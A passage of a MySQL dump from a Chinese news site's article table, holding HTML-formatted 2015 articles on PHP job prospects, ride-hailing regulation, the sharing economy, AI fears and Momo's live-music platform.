left;\">PHP技术和相关的人才，正式迎合目前的互联网的发展趋势，PHP作为非常优秀的、简便的Web开发语言，和Linux，Apache，MySQL紧密结合，形成LAMP的开发黄金组合，不仅降低使用成本，还提升了开发速度，满足最新的互动式网络开发的应用。从过去我们可以看到企业对PHP使用更广泛，分析中国的不同行业的网站，前十名的网站，250家网站中涉及PHP技术的有78家，占整体比例的31.6%,如果包括没有探明的网站，估计这个比例高达35%左右。与此同时对PHP相关的Web开发人才需要更是急速升温，我们可以看到国内，包括Google、百度、网易、新浪、搜狐、阿里巴巴、奇虎、eBay、腾讯等各大网站都在寻求PHP高手。几年各类企业发布招聘人才信息，对人才的需求超过60000名，但是因为国内PHP人才贮备不足、培训体系的不健全以及国内Web开发人员对PHP的价值认识不够，我们看到个人的应聘累计只有6000名，人才缺口竟然是10：1，PHP人才非常稀缺。更多PHP相关信息请见郑州清新教育官方网站!</p><p style=\"text-indent: 2em; text-align: left;\">PHP因为语言的优势和就业优势受到广大学程序的人们的亲睐。那么PHP语言有什么优势呢?PHP就业有什么优势呢?</p><p style=\"text-align:center\"><img src=\"/upload_file/image/2015/09/21/1442815912112678.png\" title=\"\" alt=\"\" style=\"text-align: center; width: 315px; height: 291px;\" width=\"315\" height=\"291\" border=\"0\" vspace=\"0\"/></p><p style=\"text-indent: 2em; text-align: left;\"><strong>PHP语言优势</strong></p><p style=\"text-indent: 2em; text-align: left;\">　　1.安全性高：PHP具有公认的安全性能。</p><p style=\"text-indent: 2em; text-align: left;\">　　2.跨平台特性：PHP几乎支持所有的操作系统平台，并且支持Apache、IIS等多种Web服务器，并以此广为流行。</p><p style=\"text-indent: 2em; text-align: left;\">　　3.支持广泛的数据库:可操纵多种主流与非主流的数据库。</p><p style=\"text-indent: 2em; text-align: left;\">　　4.易学性：PHP嵌入在HTML语言中，以脚本语言为主，内置丰富函数，语言简单、书写简单，方便学习掌握。</p><p style=\"text-indent: 2em; text-align: left;\">　　5.执行速度快：占用系统资源少，代码执行速度快。</p><p style=\"text-indent: 2em; text-align: left;\">　　6.免费：软件都是免费使用。</p><p style=\"text-indent: 2em; text-align: left;\">　　7.模板化：实现程序逻辑与用户界面分离。</p><p style=\"text-indent: 2em; text-align: left;\">　　8.支持面向对象与过程：支持面向对象和过程的两种风格开发，并可向下兼容。</p><p style=\"text-indent: 2em; text-align: left;\">　　9.内嵌Zend加速引擎，性能稳定加速。</p><p style=\"text-align:center\"><img src=\"/upload_file/image/2015/09/21/1442816082267829.jpeg\" title=\"\" alt=\"\" width=\"449\" height=\"357\" border=\"0\" vspace=\"0\" style=\"width: 449px; height: 357px;\"/></p><p style=\"text-indent: 2em; text-align: left;\"><strong>PHP就业优势</strong></p><p style=\"text-indent: 2em; text-align: left;\">　　1、入学门槛低</p><p style=\"text-indent: 2em; text-align: left;\">　　在C/C++、JAVA、PHP、ASP这些开发语言中，PHP是最容易学的语言，学习成本是C和JAVA的1/10，是ASP的1/2。</p><p style=\"text-indent: 2em; text-align: left;\">　　2、行业竞争小</p><p style=\"text-indent: 2em; text-align: left;\">　　PHP发展迅速，大学里基本未开设PHP课程，有实力的培训机构很少，导致掌握PHP的程序员非常少。</p><p style=\"text-indent: 2em; text-align: left;\">　　3、社会需求大</p><p style=\"text-indent: 2em; text-align: left;\">　　百度、新浪、搜狐、淘宝、当当、腾讯QQ等大部分的互联网相关企业都在使用PHP，对PHP人才需求旺盛，PHP程序员和招聘岗位的供求比例是1：40。</p><p style=\"text-indent: 2em; text-align: left;\">　　4、发展前景大</p><p style=\"text-indent: 2em; text-align: left;\">　　在无孔不入的互联网应用环境下，Web2.0、云计算、物联网等新概念将不断催生出新的产业和服务。而支撑这些新型产业和服务的技术体系非PHP莫属。</p><p style=\"text-indent: 2em; text-align: left;\">　　5.随着3G和移动互联网技术的兴起，越来越多的WEB应用也选择了PHP作为主流的技术方案。</p><p style=\"text-indent: 2em; text-align: left;\">　　6.应用企业实力强：AlexaTOP500中国网站排名，有394家使用了PHP技术，比例为78.8%。</p><p style=\"text-indent: 2em; text-align: left;\">　　7.全球5000万互联网网站中，有60%以上使用着PHP技术;国内80%以上的动态网站使用PHP开发;</p>', '4453', '1', '1', '1', 'PHP就业前景,PHP发展');
INSERT INTO `lei_news` VALUES ('8', '互联网约租车政策将公布：地方政府获益最大，专车数量决定', '27052705 33103310 45884588 52285228 55665566 19211921 53945394 18631863 29112911 25112511 18281828 03260326 21562156 23292329 53945394 24142414 27812781 50705070 55785578 20832083 03120312 55085508 19211921 42934293 33313331 30863086 22082208', '0', '../upload_image/2015/09/21/150921203909350816', '2015-09-21 15:26:30', '虎嗅网', '<p style=\"text-indent: 2em; text-align: center;\"><img src=\"/upload_file/image/2015/09/21/1442820360189210.jpg\" title=\"\" alt=\"\" width=\"770\" height=\"507\" border=\"0\" vspace=\"0\" style=\"width: 770px; height: 507px;\"/></p><p style=\"text-indent: 2em; text-align: left;\">今天上午，包括新华网在内的各大商业报刊媒体纷纷发布消息，称备受关注的《网络预约出租汽车经营服务管理暂行办法》将于近期向社会公布。据知情人士透露，《办法》拟对参与网络预约出租汽车运营的公司、车辆、司机做出具体要求，并将专车数量的管控权交给地方政府。</p><p style=\"text-indent: 2em; text-align: left;\">原文来自《中国经营报》，本文摘编自新华网、新浪科技。</p><p style=\"text-indent: 2em; text-align: left;\">专车要求“八年报废”、营运证+上岗证</p><p style=\"text-indent: 2em; text-align: left;\">本次公布的互联网约租车政策最受人关注的为如下三点：一，车辆、平台公司需要获得道路经营许可证，车辆还需要获得营运证；二，对于营运车辆的属性没有要求，但是私家车要营运的话需要把车辆属性变更为营运车辆；三，网约车司机需要获得上岗证。</p><p style=\"text-indent: 2em; text-align: left;\">根据《机动车强制报废标准规定》，私家车接入专车平台后，也将面临使用年限将从不受限制到最多使用八年时间的规定。</p><p style=\"text-indent: 2em; text-align: left;\">专车数量或大规模减少，出租车受益</p><p style=\"text-indent: 2em; text-align: left;\">滴滴出行的一位专车司机表示，滴滴对司机补贴的政策变化依旧频繁，如果国家出台相关规定禁止司机的接入或是接入后必须实行八年后报废的标准，平台上的司机将会大量减少。“我的车是2013年购置的，全款花费近20万元，如果要求8年报废处理，我就不做专车了。”而Uber平台的一位司机则表示，与八年报废年限的规定相比，他更关心专车纳入监管后是否需要交纳税费、保险费等其他费用。“开人民优步就是兼职赚些补贴，如果未来需要支出更多的成本费用，我会选择退出。”</p><p style=\"text-indent: 2em; text-align: left;\">北京首汽出租某司机师傅表示，人民优步、滴滴快车等比出租车价格低的车辆进入市场后，出租车明显受到影响。北京双菱出租某司机师傅表示，未来如果专车服务质量高、价格也高，那么对于出租车司机的影响并不大。</p><p style=\"text-indent: 2em; text-align: left;\">专车司机刘师傅则表示，一辆出租车才几万块，而自己的车20多万，有些专车价格更高，如果变成营运车辆，8年强制报废，那谁都不愿意把自己的车当专车用了。“出租车是24小时营运，而大部分专车都是一个人开，而且出租车行业每年都有大量的政府补贴，这些都是专车运营所不及的。”</p><p style=\"text-indent: 2em; text-align: left;\">地方政府将获得专车数量决定权，专车定价权</p><p style=\"text-indent: 2em; text-align: left;\">据参与政策的专家透露，专车的数量由各个城市地方政府来决定，每个城市根据自己的实际情况来制定政策。此外，专车和出租车确实提供差异化服务，价格上会拉开梯度，但这个价格差异不是政府统一规定的，而是各地根据自己的情况来确定。</p><p style=\"text-indent: 2em; text-align: left;\">将规定出租顺风车服务为非法</p><p style=\"text-indent: 2em; text-align: left;\">此外，《办法》规定，以私人小客车合乘为名义，实际上却提供运营服务的，属于违法行为。《办法》还拟要求专车经营者，不得以排挤竞争对手为目的，以低于成本的价格倾销，扰乱正常市场秩序。</p>', '1206', '1', '', '1', '互联网约租车,租车政策');
INSERT INTO `lei_news` VALUES ('9', '让我们开放资产，数据，还有头脑', '40354035 46504650 35393539 31103110 23372337 55425542 18901890 03120312 42934293 30613061 03120312 27252725 51485148 45234523 36523652', '0', '../upload_image/2015/09/21/150921206297197447', '2015-09-21 15:30:29', '百度百家', '<p style=\"text-align:center\"><img src=\"/upload_file/image/2015/09/21/1442820571923978.jpg\" title=\"\" alt=\"\" width=\"442\" height=\"607\" border=\"0\" vspace=\"0\" style=\"width: 442px; height: 607px;\"/></p><p style=\"text-indent: 2em; text-align: left;\">让我们开放资产，数据，还有头脑</p><p style=\"text-indent: 2em; text-align: left;\">——《共享经济》推荐序</p><p style=\"text-indent: 2em; text-align: left;\">胡泳</p><p style=\"text-indent: 2em; text-align: left;\">罗宾·蔡斯写了一本书，英文名Peers Inc，副题是“大众和平台如何构建协作经济，并再造资本主义”，中文版译作《共享经济：重构未来商业新模式》。</p><p style=\"text-indent: 2em; text-align: left;\">打开作者的网站，首先映入眼帘的是五句话：</p><p style=\"text-indent: 2em; text-align: left;\">让我们打造一个丰裕经济。</p><p style=\"text-indent: 2em; text-align: left;\">让我们发现过剩的产能，并将其释放出来。</p><p style=\"text-indent: 2em; text-align: left;\">让我们开放资产，数据，还有头脑。</p><p style=\"text-indent: 2em; text-align: left;\">让我们努力解决气候变化和收入不平等。</p><p style=\"text-indent: 2em; text-align: left;\">让我们创造一个我们愿意生活其中的世界。</p><p style=\"text-indent: 2em; text-align: left;\">对于一个企业家来讲，这些可谓远大的目标。毫不奇怪，罗宾·蔡斯不是你想象中的那种寻常企业家。她自称为一个“交通企业家”，创办了汽车共享公司Zipcar，点对点汽车租赁公司Buzzcar以及拼车网站&nbsp;GoLoco。这几个公司有什么特点？你猜对了，它们都是时下方兴未艾的共享经济的先驱。没错，“共享”当然也是这本叫做《众创》的书的关键词。</p><p style=\"text-indent: 2em; text-align: left;\">打开书，首先跳出来的前言，标题叫做“共享经济的决胜期”。已经到了决胜期了，蔡斯显然是用一种胜利者的口吻在回顾自己的光荣史。然而，共享经济的起步期可并不美妙。她把时钟拨回到2000年，在Zipcar成立早期的几个月里，蔡斯讲到，她总是做同一个噩梦：一个汽车租赁行业的恶棍冲进房间，拿枪指着她和她的丈夫。原因当然是，她所创建的业务模式正在摧毁这个有着上百年历史的行业。</p><p style=\"text-indent: 2em; text-align: left;\">百年行业怎会被轻易摧毁？你又猜对了，依靠互联网。蔡斯起步时，首先琢磨客户租车最在乎什么，答案是“经济和便捷”，于是，Zipcar所有的商业模式都围绕经济和便捷来打造，努力降低客户租车所需的金钱和时间成本。预订更快捷，取车更容易，支付更方便，尽可能减少人工服务的流程，以自助式服务让消费者拥有高度自主权。</p><p style=\"text-indent: 2em; text-align: left;\">Zipcar也注重从技术上提升传统租车的用户体验，比如给汽车安装射频识别收发器（RFID transponder），可以读取会员资料，开启车门，并向控制中心更新汽车的使用时间和里程数；引入Mobile技术，让用户通过移动设备查询和预订汽车，可以说，人手一支的智能手机正是“汽车共享”的关键。</p><p style=\"text-indent: 2em; text-align: left;\">沿着这个汽车共享的概念走下去，人们发现，改变汽车的传统使用方式，会带来一系列好处：首先它可以充分发挥每一辆车的作用，降低车辆持有率及停车场的占有率；其次它可以减少消费者的“碳足迹”，对地球环保和气候变化都是福音。</p><p style=\"text-indent: 2em; text-align: left;\">由此来看，蔡斯提出以上的五大追求就不是偶然的了，她在技术慈善方面所做的大量工作也其来有自。《人人共享》意在探究大众和平台如何构建共享经济，突破资本主义，进而完善这个世界。蔡斯试图在书中描画一种时代精神，过剩产能+大众参与平台+不同的个体，形成崭新的“人人共享”模式，把组织优势（规模与资源）与个人优势（本地化、专业化和定制化）相结合，从而在一个稀缺的世界里创造出富足。</p><p style=\"text-indent: 2em; text-align: left;\">今天，我们对优步、Airbnb和比特币都耳熟能详，它们在共同颠覆着从交通到旅游到金融的广大领域。蔡斯的数据是，2014年，共享经济总共募集了3万亿美元的资金。《时代》周刊则说，在共享经济中大约活跃着一万家公司。</p><p style=\"text-indent: 2em; text-align: left;\">可以共享的东西太多了：有物业，有资源，有时间，有数据，还有技能。这对旧式的产业是巨大的挑战，对整个社会也是如此。例如，工作机会可能越来越少，工作保障也日益成为明日黄花。共享经济的益处是明显的：所有者通过分享自己的资产，为其赋予了多种用途，既能够为自己带来收益，也能够创造出社会经济学的好处。如同蔡斯所说，它重新定义了我们对于资产的理解：它是专属于个人的还是大众的；是私有的还是公有的；是商业的还是个人的。我们都知道，分享资源会带来效率；分享知识会带来创新；那么，分享资产会带来什么呢？</p><p style=\"text-indent: 2em; text-align: left;\">蔡斯很聪明，懂得首先接受资产分享观的一定是年轻人。所以Zipcar花大力气攻打大学城，其三分之二的会员年龄在35岁以下；年轻人喜欢Zipcar租车的低门槛，也更钟情绿色出行的理念；就连Zipcar标榜的口号“你身边的轮子”和令人会心一笑的广告“一年有350个小时做爱，却要花420个小时来找车位，到底是哪里出错了？”，都透露出年轻时尚的气息。</p><p style=\"text-indent: 2em; text-align: left;\">年轻人消费的特点是什么呢？体验，体验，还是体验。因此分享型经济实际上就是体验型经济，更具体地说是“马上体验”经济。马上要用，马上就得拿到；用多少，就付多少。对一代又一代年轻人来说，资产正变得越来越失重，往往是，不求拥有，只求使用。</p><p style=\"text-indent: 2em; text-align: left;\">而共享经济的命门也正在此处：正处于人生上升时期的年轻人，想不到共享经济中的劳动者将会缺少养老金、健康保险、伤残保险和假期。这个被称为“无领劳动者”——既不是蓝领也不是白领——的群体，将面临一个困惑性的问题：“我们处在雇佣和剥削之间的什么位置？”</p><p style=\"text-indent: 2em; text-align: left;\">蔡斯写道：“我们需要建立新的社会机制，以使新平台经济学的收益普惠化——甚至分配给每个人一个基本的收入。如果做不到这一点，社会后果可能是非常可怕的。”</p><p style=\"text-indent: 2em; text-align: left;\">在这个意义上，人人共享必须达到人人受益。而人人受益则意味着地球受益，所以对于倡导共享经济的人来说，最后我们遇到的不仅仅是个投入产出问题，而且是个生死问题。我们需要人人共享，是因为，它所产生的结果是，我们仅需最少的东西，就可以维持最大数量的人。</p><p style=\"text-indent: 2em; text-align: left;\">在气候变化、人口增长、环境恶化等正极大地威胁我们这个蓝色星球的当口，愿每一个有开放头脑的人都能从这一点上来认识和实践共享经济。</p>', '1153', '1', '1', '1', '数据,头脑');
INSERT INTO `lei_news` VALUES ('10', '只需24年？机器人就能进化成恐怖的天网？', '54275427 48724872 2AAAAA 4AAAAA 36743674 03310331 27902790 38873887 40434043 30453045 36603660 29882988 27152715 19411941 31543154 18321832 21362136 44764476 45884588 03310331', '0', '../upload_image/2015/09/21/150921208022496123', '2015-09-21 15:33:22', '互联网转载', '<p style=\"text-indent: 2em; text-align: left;\"><br/></p><p style=\"text-align:center\"><img src=\"/upload_file/image/2015/09/21/1442820758841099.jpg\" title=\"\" alt=\"\" width=\"550\" height=\"309\" border=\"0\" vspace=\"0\" style=\"width: 550px; height: 309px;\"/></p><p style=\"text-indent: 2em; text-align: left;\">讲述：Dan&nbsp;wong（原三星中国区副总裁、Rokid创始人）</p><p style=\"text-indent: 2em; text-align: left;\">编辑：邝新华</p><p style=\"text-indent: 2em; text-align: left;\">人类的未来到底如何？电影给我们描绘了两种完全相反的结局。一种是天网，电影《终结者》里机器人慢慢自我进化，有了自我意识，并把人类抛开，毁灭人类。另一种是《超能陆战队》里的大白，他是你的助手，他在你伤心的时候跟你聊天，说笑话给你听，当你身体不舒服时照顾你。</p><p style=\"text-indent: 2em; text-align: left;\">众多知名科技人士都是大反派！</p><p style=\"text-indent: 2em; text-align: left;\">这个课题不只我一个人关心，很多专家都有研究。霍金是除了爱因斯坦之外最著名的物理学家，他的观点是，人类要小心人工智能，因为人工智能最后走的路就是天网。苹果公司除了乔布斯之外另一个创始人Wozniak，也有相同的观点。而特斯拉的创始人Elon&nbsp;&nbsp;Musk，虽然在做智能汽车，但他提醒我们要小心人工智能，因为人工智能比核武器还具有毁灭性。这三位知名科技人士都是大反派，认为机器人的未来就是终结者。</p><p style=\"text-indent: 2em; text-align: left;\">这些科幻片的情节，最终会不会发生？机器人超越人类的临界点会在什么时候到来？美国有一个科技大神，利用摩尔定律来计算人类还剩下多少时间。到底是一百年还是两百年？结果让我们大吃一惊。在场理工科的同学都听说过摩尔定律，摩尔定律简单地表述是，芯片性能每18个月翻倍。这位科学家是Google公司负责开发人工智能的总监，曾被评为美国十大科学家之一。他根据摩尔定律计算出，再过14年，到2029年，计算机的能力就和人类打成平手。他甚至预测，再过24年，《终结者》中的天网就可能发生。人类再也不能控制开发出来的人工智能，而是他们来控制人类。</p><p style=\"text-indent: 2em; text-align: left;\">最大的反对声音来自一位诺贝尔学者。他说人类大脑有两种功能：一种是获取信息，就是我们的知觉；另一种是思维，也就是对信息的逻辑分析和计算。科学家说，逻辑计算可以，但机器人永远不能做到知觉。</p><p style=\"text-indent: 2em; text-align: left;\">但是，几年前，有一个临界点已经发生了。人工智能能够通过分析视频找到一只猫。没有人教它什么是猫，怎么找猫。是它自己产生了概念，而准确度达到78%。现在很多科学家都不敢预测机器人不能做什么了，你想想，超级电脑一秒能做多少计算？一万亿次。当你能够做这么多计算时，有什么不可能做到？</p><p style=\"text-indent: 2em; text-align: left;\">很多科学家曾经说过，驾驶需要应付很多突发路况，不能由程序控制，所以机器无法开车。但是Google无人驾驶汽车证伪了这个谣言。Google无人车在四五年前就上路了，开了160万公里。各位同学能不能猜出来，160万公里出了几次车祸？12次。这12次车祸里边，有8个是后车追尾，另外2次是旁边的车不守交通规则撞过来，还有有一次是Google的同事手动开车自己撞的。其实无人开车更安全。</p><p style=\"text-indent: 2em; text-align: left;\">人类还能做点什么？</p><p style=\"text-indent: 2em; text-align: left;\">那么我们怎么办呢？</p><p style=\"text-indent: 2em; text-align: left;\">并不是每一个人都是大反派，很多大学教授和学者，比如麻省理工大学的教授，都相信未来是美好的，机器人和人工智能可以造福人类，帮助人类解决很多无法解决的问题，他们都是正派。</p><p style=\"text-indent: 2em; text-align: left;\">各式各样不同的机器人可以为人类所用。可以在家里扫地，可以给高楼大厦清洗窗户。美国国防部还研发出蚊子大小的机器人，可以做间谍，甚至有人说它可以实现暗杀。还有纳米机器人和卫星机器人。如果吃下去的药是一台纳米机器人，它可以帮你找到癌细胞，每年很多人死于癌症，机器人很可能拯救人类。</p><p style=\"text-indent: 2em; text-align: left;\">林肯有一句名言，他说预测未来最好的方法是创造未来。所以我们选择了创办Rokid，做真实的产品。我们要把超级人工智能应用到家庭里。我们的机器人不能帮我们拯救世界，也不能打败外星人，但可以在家里给你扫地，帮你洗碗，给你讲笑话。</p><p style=\"text-indent: 2em; text-align: left;\">我记得童年最深的记忆，是我第一次看电影。那是《星级大战》，跟父母在电影院排队买票，买到爆米花很兴奋。当时想，如果有电影里的机器人在我家里该多好。没想到这么多年过去了，会跟一群有梦想的人一起做家庭机器人。</p><p style=\"text-indent: 2em; text-align: left;\">会后问答：</p><p style=\"text-indent: 2em; text-align: left;\">问：是不是以后相亲不用找伴侣？可以找机器人？</p><p style=\"text-indent: 2em; text-align: left;\">Dan&nbsp;wong：我建议不要找机器人。</p><p style=\"text-indent: 2em; text-align: left;\">问：前些天有机器人编辑了第一条新闻，一秒不到就传输到客户端，记者在未来五年会大幅度裁员，大学生找工作也要跟机器人竞争？</p><p style=\"text-indent: 2em; text-align: left;\">Dan&nbsp;wong：任何事情都是一体两面，机器人可能替代某些职业，也会产生很多新的行业，这里边有很多工作机会。</p><p style=\"text-indent: 2em; text-align: left;\">问：如何避免人工智能在未来毁灭人类？ &nbsp; &nbsp;</p><p style=\"text-indent: 2em; text-align: left;\">Dan&nbsp;wong：科技的脚步怎能停下来？我觉得太难。很多公司做深层的开发，你能够做什么？你能够影响它的流向吗？这里也有人类的选择，选择好与坏，我们通过哪些方式尽量往好的方向走。我更相信纳米机器人，相信它能拯救死于癌症的人。</p>', '1310', '1', '', '1', '机器人,恐怖的天网');
INSERT INTO `lei_news` VALUES ('11', '为什么我们终于可以正当使用陌陌了？', '46104610 42184218 35203520 46504650 35393539 54535453 51585158 31413141 50525052 53935393 21172117 42254225 51355135 36163616 36163616 33433343 03310331', '0', '../upload_image/2015/09/21/150921210063972808', '2015-09-21 15:36:46', '互联网转载', '<p style=\"text-align:center\"><img src=\"/upload_file/image/2015/09/21/1442820956139190.jpg\" title=\"\" alt=\"\" width=\"450\" height=\"420\" border=\"0\" vspace=\"0\" style=\"width: 450px; height: 420px;\"/></p><p style=\"text-indent: 2em; text-align: left;\">“哈哈，终于有了一个正当使用陌陌的理由。”一位朋友像是调侃，像是感叹。</p><p style=\"text-indent: 2em; text-align: left;\">过去，别人问他陌陌号，他总感觉疙疙瘩瘩。因为这个平台一直蒙着一层约炮色彩。虽然用了两年，根本没有发生什么。</p><p style=\"text-indent: 2em; text-align: left;\">这感受很真实。调侃背后，陌陌显然一定发生了什么。其实它缘于陌陌最新推出的一款产品：陌陌现场。</p><p style=\"text-indent: 2em; text-align: left;\">如果你熟悉陌陌的发展路径，以及2015年以来创始人唐岩表达的战略诉求，就明白这款产品对陌陌来说意味着什么了：它既是陌陌重塑品牌的关键，也是唐岩主导社交革新、O2O化转型的关键，标志着2015年年初两大战略诉求落地。</p><p style=\"text-indent: 2em; text-align: left;\">就让我们看看陌陌现场的产品逻辑。陌陌现场是陌陌最新上线的音乐互动直播平台，采用职业歌手直播演唱、粉丝发弹幕、赠送虚拟礼物的形式，可以完成一场场高音乐水准、可互动、强社交的“线上演唱会”。</p><p style=\"text-indent: 2em; text-align: left;\">“音乐直播”、“线上演唱会”，你肯定不陌生。这类概念，这半年甚至已经滥掉了。YY、9158、网易云音乐、网易BOBO、酷狗繁星、腾讯视频、乐视视频等等，早就有了。而且，它们确实还都获取了不少的人气。一些小型互联网企业也打着音乐直播的旗号做许多PR工作。更多的叫“秀场”。</p><p style=\"text-indent: 2em; text-align: left;\">但“音乐直播”、“线上演唱会”并不能真正概括陌陌现场。它与上述公司的音乐直播、演唱会有很多不同。</p><p style=\"text-indent: 2em; text-align: left;\">酷狗繁星、网易BOBO、YY、9158们界面类似，像是义乌小商品城。男女主播不是身处卧室就是身处粗糙的工作室。女艺人大都轻装上阵，搔首弄姿，不时触摸身体，哼哼唧唧，假唱遍地；男艺人更喜欢逗乐，粗糙的环境里，弥漫着花千骨里君上的氛围。偶有唱功不错的，人气似乎不高。</p><p style=\"text-indent: 2em; text-align: left;\">这显然是一种草根音乐作秀平台，鱼龙混杂，感官刺激最深的不是音乐，而是晒人+暧昧。不过不可否认，由于场景社交鲜明，它们很热闹，UGC的生成机制确实创造了不小流量。</p><p style=\"text-indent: 2em; text-align: left;\">当然也有注重音乐人与音乐本身的平台。腾讯视频、乐视视频、网易云音乐的内容口碑都很高。</p><p style=\"text-indent: 2em; text-align: left;\">腾讯、乐视都是大牌，做的是一线明显演唱会，因财大气粗，软硬件设施齐全，音乐内容确实不错。不过，它们更像线下演唱会的翻版，真正的互联网特性不浓。而且，缺乏社交功能，没有一种平台服务的概念。网易云音乐则在缓慢渗透与音乐相关的许多活动直播服务，质量出色。但整体而言，云音乐一要兼顾品质，二要避免与网易BOBO重叠布局，加上网易整体对它投入有限，布局较慢。</p><p style=\"text-indent: 2em; text-align: left;\">这种以内容为核心的直播服务，称得上一种PGC模式。因注重音乐人与作品本身，品质出色。但与YY们相比，它们更像线下场景的简单复制，缺乏互联网特征，尤其是社交服务。这导致商业化变现显得简单、传统。YY们的互动环节可是隐含着付费。</p><p style=\"text-indent: 2em; text-align: left;\">陌陌现场似乎兼容了它们的优势。</p><p style=\"text-indent: 2em; text-align: left;\">陌陌现场签约的人，均为职业歌手，唱功是首选指标；现场有专业的硬件设施、高水准的制作团队与录音制作。一个牛逼的名字不得不提。梁翘柏，华语乐坛金牌制作人、《我是歌手》、《蒙面歌王》音乐总监，之前被陌陌成功挖角，目前担任陌陌现场监制与首席内容官。他是陌陌现场的品质保证。</p><p style=\"text-indent: 2em; text-align: left;\">而且，在专业的内容生成与互联网社交化之间，陌陌现场做了平衡。尤其是社交与货币化特征，比YY、9158、网易BOBO更为丰富、多元。你不但可以随时与歌手线上互动、点评、交友、与粉丝聊天，组建粉丝联盟，还可以向歌手赠送鲜花、道具、礼品，它们对应着歌手的星光值。</p><p style=\"text-indent: 2em; text-align: left;\">这种兼容内容品质与更强的社交特征的平台，短短几天就为陌陌创造了巨大的流量：9月10日，陌陌现场刚上线第三天，迎来一位实力美女选手、中国好声音新电音女王毛泽少。当晚直播过程里，陌陌现场在线人数一度远超腾讯视频。毛泽少收获鲜花、礼品无数，最后的星光值高达600万；9月14日，上线一周时，周笔畅坐阵现场，持续三天，收获1122万星光值。</p><p style=\"text-indent: 2em; text-align: left;\">要知道，1元人民币基本对应着10陌陌币、100星光值，加上潜在的服务费用，这些歌手在陌陌现场创造的货币化效应，远超过男女神在YY、9158里病态呻吟的收获。而陌陌现场后续的变现服务恐怕更为丰富。</p><p style=\"text-indent: 2em; text-align: left;\">为什么这么短时间，陌陌现场会有如此出色的表现，我觉得，正是它对上述两类平台的优势整合：没有内容品质的YY们的直播，很难创造更高的品牌价值，吸引更深广的专业资源；而单纯的专业级的明星演唱通道，又很难留存用户，形成粘性。</p><p style=\"text-indent: 2em; text-align: left;\">两种优势资源的整合，加上陌陌现场的商业化手段，从而促成了一个新的社区型音乐平台的诞生。它有着成长为一个巨头平台的气质。</p><p style=\"text-indent: 2em; text-align: left;\">陌陌现场的内容，无论视频、音频还是背后的场景、制作设施，效果不逊真实演唱会；而在互联网方面，陌陌本身就是社交平台出身，过往4年累积下超过2亿的海量用户。据统计，陌陌上22岁以下的学生为主的群体，占比达32%；32岁以下的人群占比高达85%。他们对娱乐内容的接受度非常高。而从过去的经验看，在游戏、表情、会员、礼物商城等平台上，年轻的陌陌用户有着非常明确的付费习惯。</p><p style=\"text-indent: 2em; text-align: left;\">陌陌副总裁贾维表示，陌陌现场在提供娱乐内容及社交场景的同时，会成为挖掘、对接才华音乐人与受众的平台，并与娱乐经纪、厂牌建立更深的合作。</p><p style=\"text-indent: 2em; text-align: left;\">顺便提几句，为什么既有内容优势又有社交优势的腾讯没能推出类似平台？我觉得一是它的入口资源虽强大，但QQ与QQ音乐、微信、腾讯视频之间缺乏更深整合。QQ场景丰富，适合做YY直播，但难提升品牌；微信整体越来越像个庞大信息平台，媒体属性走强，不适合；腾讯视频更像传统模式的复制。大公司病、资源的割裂，让它尴尬。</p><p style=\"text-indent: 2em; text-align: left;\">你应该体会到了，陌陌现场于陌陌整体的价值。可以这么说，它几乎整合、集成了陌陌之前4年积累的所有优势资源：从技术、产品、平台、服务一直到过去一年的商业化策略。陌陌现场就是陌陌的最新的核心竞争力展示。</p><p style=\"text-indent: 2em; text-align: left;\">确实，我们能从陌陌现场看到过去的集成。技术、社交产品、平台不用说，它就在陌陌的入口里，目前处在“发现”栏的第三列，属于最显着的位置，超过了之前O2O化的服务窗口。而且，你能看到，陌陌现场的货币化策略，容纳了陌陌之前在礼品商城、轻电商服务。</p><p style=\"text-indent: 2em; text-align: left;\">这种服务集成的策略，就是一种典型的平台化模式。</p><p style=\"text-indent: 2em; text-align: left;\">如果我们将陌陌现场放到陌陌最新的战略诉求里，会看得更清楚。先回味一下唐岩在2015Q1财报发布后、电话会议里的一段话：“第一点是，持续扩大用户规模，同时提高用户黏性和活跃度，依然是我们的第一目标，更具体地说，在2015年我们工作的重点还会专注在产品创新和品牌建设；第二，我们会持续地围绕社交、娱乐和本地生活服务探索更丰富的商业化机会，我们所致力发展的商业机会应该不仅能够为陌陌带来经济收入，并且可以增进用户体验，提升平台的活跃度和黏性。”</p><p style=\"text-indent: 2em; text-align: left;\">你能体会到，陌陌现场几乎完全吻合了这两个目标诉求，称得上陌陌2015年以来第一款重头产品。我认为，它应该也是未来相当长周期的战略产品。一旦继续上个规模，服务链条拉长后，它甚至有成为独立入口、独立公司的可能。</p><p style=\"text-indent: 2em; text-align: left;\">顺便回头再看一下文章开头的一句话，看似玩笑，确实对应唐岩重塑陌陌品牌的用意。消息人士透露，他对“约炮”的品牌误解，其实非常在意、敏感、反感，过去一年，公司一系列动作都带有努力扭转、洗刷这种印象，尤其是陌陌6.0版本，是关键一战，陌陌现场当然也是最新的努力之一。</p><p style=\"text-indent: 2em; text-align: left;\">上述两大战略诉求，尤其是重塑品牌的路径，对陌陌来说，真不容易，它涉及到内部许多变革与调整。因为，这类动作见效周期较长。要知道，陌陌刚上市不久，短期业绩、股价都有压力。而且，眼下整个宏观环境、中概股的表现都差强人意。</p><p style=\"text-indent: 2em; text-align: left;\">上半年，陌陌推出重新定义社交概念的6.0版本时，唐岩已对外强调过压力与坚持。他说，6.0很早就规划好，已经延迟一时，必须尽快推出，哪怕牺牲短期业绩。关于这点，他甚至与投资人之间产生过不同意见，但他还坚持了自己的战略诉求。</p><p style=\"text-indent: 2em; text-align: left;\">由此，我们也能重新体会到，陌陌为何在IPO仅半年之久就很快宣布私有化，似乎不顾海外投资人的利益。在我看来，2015年，对成立4年的陌陌来说，是一个时间窗口：如果这一年它无法对外展示它重塑品牌的空间，探索不出一条规模化、可持续化之路，延宕战略级产品的上线节奏，陌陌将面临一次巨大的考验。在这个资本市场波动周期，陌陌的运营需要更多专注、稳健、平台化运作，不能被短期利益拖累，私有化确实是关键选项之一。而陌陌6.0与陌陌现场的相继推出，进一步印证唐岩坚持的战略诉求。</p>', '1349', '1', '1', '1', '正当使用陌陌,陌陌');
